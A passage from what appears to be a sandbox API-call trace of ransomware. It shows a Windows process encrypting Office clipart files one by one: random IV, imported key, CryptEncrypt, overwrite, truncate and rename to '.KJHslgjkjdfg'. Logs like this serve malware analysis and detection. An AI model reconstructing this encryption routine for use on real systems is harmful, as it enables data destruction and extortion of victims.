Size=0x40) returned 0x2f0c898 [0215.916] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.916] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.916] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.916] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.916] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.916] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.917] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.917] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.917] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.917] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c74, lpOverlapped=0x0) returned 1 [0215.918] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c80, dwBufLen=0x1c80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c80) returned 1 [0215.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.918] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c80, lpOverlapped=0x0) returned 1 [0215.918] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.918] SetEndOfFile (hFile=0x130) returned 1 [0215.921] GetProcessHeap () returned 0x2ef0000 [0215.921] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.921] GetProcessHeap () returned 0x2ef0000 [0215.921] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.kjhslgjkjdfg")) returned 1 [0215.923] CloseHandle (hObject=0x130) returned 1 [0215.923] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01161_.WMF", cAlternateFileName="")) returned 1 [0215.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.925] GetProcessHeap () returned 0x2ef0000 [0215.925] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.925] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.925] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0215.927] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.927] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.927] GetProcessHeap () returned 0x2ef0000 [0215.927] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.927] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.927] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.927] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.051] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.051] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.051] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.052] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1694, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1694, lpOverlapped=0x0) returned 1 [0216.053] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16a0, dwBufLen=0x16a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16a0) returned 1 [0216.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.053] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16a0, lpOverlapped=0x0) returned 1 [0216.053] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.053] SetEndOfFile (hFile=0x130) returned 1 [0216.056] GetProcessHeap () returned 0x2ef0000 [0216.056] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.056] GetProcessHeap () returned 0x2ef0000 [0216.056] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.kjhslgjkjdfg")) returned 1 [0216.058] CloseHandle (hObject=0x130) returned 1 [0216.064] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f80000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92f80000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01164_.WMF", cAlternateFileName="")) returned 1 [0216.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.065] GetProcessHeap () returned 0x2ef0000 [0216.066] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.066] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.066] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.076] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.076] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.076] GetProcessHeap () returned 0x2ef0000 [0216.076] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.076] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.076] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.076] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.077] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.077] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.077] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.077] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.077] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.077] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.077] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa04, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa04, lpOverlapped=0x0) returned 1 [0216.077] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa10, dwBufLen=0xa10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa10) returned 1 [0216.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.078] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa10, lpOverlapped=0x0) returned 1 [0216.078] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.078] SetEndOfFile (hFile=0x130) returned 1 [0216.080] GetProcessHeap () returned 0x2ef0000 [0216.081] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.081] GetProcessHeap () returned 0x2ef0000 [0216.081] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.kjhslgjkjdfg")) returned 1 [0216.083] CloseHandle (hObject=0x130) returned 1 [0216.083] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c6d300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91c6d300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01293_.WMF", cAlternateFileName="")) returned 1 [0216.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.084] GetProcessHeap () returned 0x2ef0000 [0216.084] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.084] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.084] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.084] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.084] GetProcessHeap () returned 0x2ef0000 [0216.084] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.084] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.084] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.084] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.085] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.086] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.086] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.086] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.086] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x70f0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x70f0, lpOverlapped=0x0) returned 1 [0216.090] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x70f0, dwBufLen=0x70f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x70f0) returned 1 [0216.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.091] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x70f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x70f0, lpOverlapped=0x0) returned 1 [0216.091] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x71c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.091] SetEndOfFile (hFile=0x130) returned 1 [0216.093] GetProcessHeap () returned 0x2ef0000 [0216.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.093] GetProcessHeap () returned 0x2ef0000 [0216.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.kjhslgjkjdfg")) returned 1 [0216.095] CloseHandle (hObject=0x130) returned 1 [0216.095] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29f0600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd29f0600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x16ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01354_.WMF", cAlternateFileName="")) returned 1 [0216.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.096] GetProcessHeap () returned 0x2ef0000 [0216.096] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.096] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0216.098] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.098] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.099] GetProcessHeap () returned 0x2ef0000 [0216.099] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.099] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.099] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.099] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.099] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.099] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.099] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, 